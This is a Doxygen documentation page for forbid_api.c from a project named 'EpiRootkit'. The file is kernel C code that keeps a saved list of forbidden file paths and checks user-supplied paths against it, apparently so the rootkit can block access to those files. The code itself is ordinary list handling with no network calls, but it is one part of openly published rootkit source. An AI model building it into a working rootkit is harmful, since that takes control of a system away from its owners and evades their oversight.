EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
forbid_api.c
Go to the documentation of this file.
1#include "forbid_api.h"
2
3#include "config.h"
4#include "ulist.h"
5
7
8int forbid_init(void) {
9 int ret;
10
12 ret = ulist_load(&forbid_list);
13 if (ret < 0)
14 return ret;
15
16 return SUCCESS;
17}
18
23
24int forbid_file(const char *path) {
25 int ret;
26 char modpath[256];
27
28 if (strcmp(path, "/") == 0)
29 return -EINVAL;
30
31 if (strlen(path) >= sizeof(modpath))
32 return -ENAMETOOLONG;
33 strscpy(modpath, path, sizeof(modpath));
34
35 size_t len = strlen(modpath);
36 if (len > 1 && modpath[len - 1] == '/') {
37 modpath[len - 1] = '\0';
38 }
39
40 ret = ulist_add(&forbid_list, modpath, 0, NULL);
41 if (ret < 0)
42 return ret;
43
44 ret = ulist_save(&forbid_list);
45 if (ret < 0)
46 return ret;
47
48 return SUCCESS;
49}
50
51int unforbid_file(const char *path) {
52 int ret;
53
54 ret = ulist_remove(&forbid_list, path);
55 if (ret < 0)
56 return ret;
57
58 ret = ulist_save(&forbid_list);
59 if (ret < 0)
60 return ret;
61
62 return SUCCESS;
63}
64
65static char *get_abs_path(const char __user *u_path, char *buf, int buflen) {
66 struct path path;
67 char *full;
68 int err;
69
70 err = user_path_at(AT_FDCWD, u_path, LOOKUP_FOLLOW, &path);
71 if (err)
72 return NULL;
73
74 full = d_path(&path, buf, buflen);
75 path_put(&path);
76 if (IS_ERR(full))
77 return NULL;
78 return full;
79}
80
81int forbid_contains(const char __user *u_path) {
82 char *buf;
83 char *full;
84 int blocked = 0;
85
86 if (!u_path)
87 return 0;
88
89 buf = kmalloc(PATH_MAX, GFP_KERNEL);
90 if (!buf)
91 return 0;
92
93 full = get_abs_path(u_path, buf, PATH_MAX);
94 if (full) {
95 blocked = ulist_contains(&forbid_list, full);
96 }
97
98 kfree(buf);
99 return blocked;
100}
101
102int forbid_contains_str(const char *k_path) {
103 return ulist_contains(&forbid_list, k_path);
104}
105
106int forbid_list_get(char *buf, size_t buf_size) {
107 return ulist_list(&forbid_list, buf, buf_size);
108}
#define SUCCESS
Definition config.h:5
#define FORBID_CFG_FILE
Definition config.h:62
int forbid_file(const char *path)
Definition forbid_api.c:24
int unforbid_file(const char *path)
Definition forbid_api.c:51
static char * get_abs_path(const char __user *u_path, char *buf, int buflen)
Definition forbid_api.c:65
int forbid_contains(const char __user *u_path)
Definition forbid_api.c:81
int forbid_list_get(char *buf, size_t buf_size)
Definition forbid_api.c:106
void forbid_exit(void)
Definition forbid_api.c:19
int forbid_contains_str(const char *k_path)
Definition forbid_api.c:102
int forbid_init(void)
Definition forbid_api.c:8
struct ulist forbid_list
Definition forbid_api.c:6
Definition ulist.h:15
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
Definition ulist.c:208
void ulist_clear(struct ulist *ul)
Definition ulist.c:39
int ulist_load(struct ulist *ul)
Definition ulist.c:58
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
Definition ulist.c:282
int ulist_save(struct ulist *ul)
Definition ulist.c:169
int ulist_remove(struct ulist *ul, const char *value)
Definition ulist.c:236
int ulist_contains(struct ulist *ul, const char *value)
Definition ulist.c:258
static void ulist_init(struct ulist *ul, const char *fname)
Definition ulist.h:21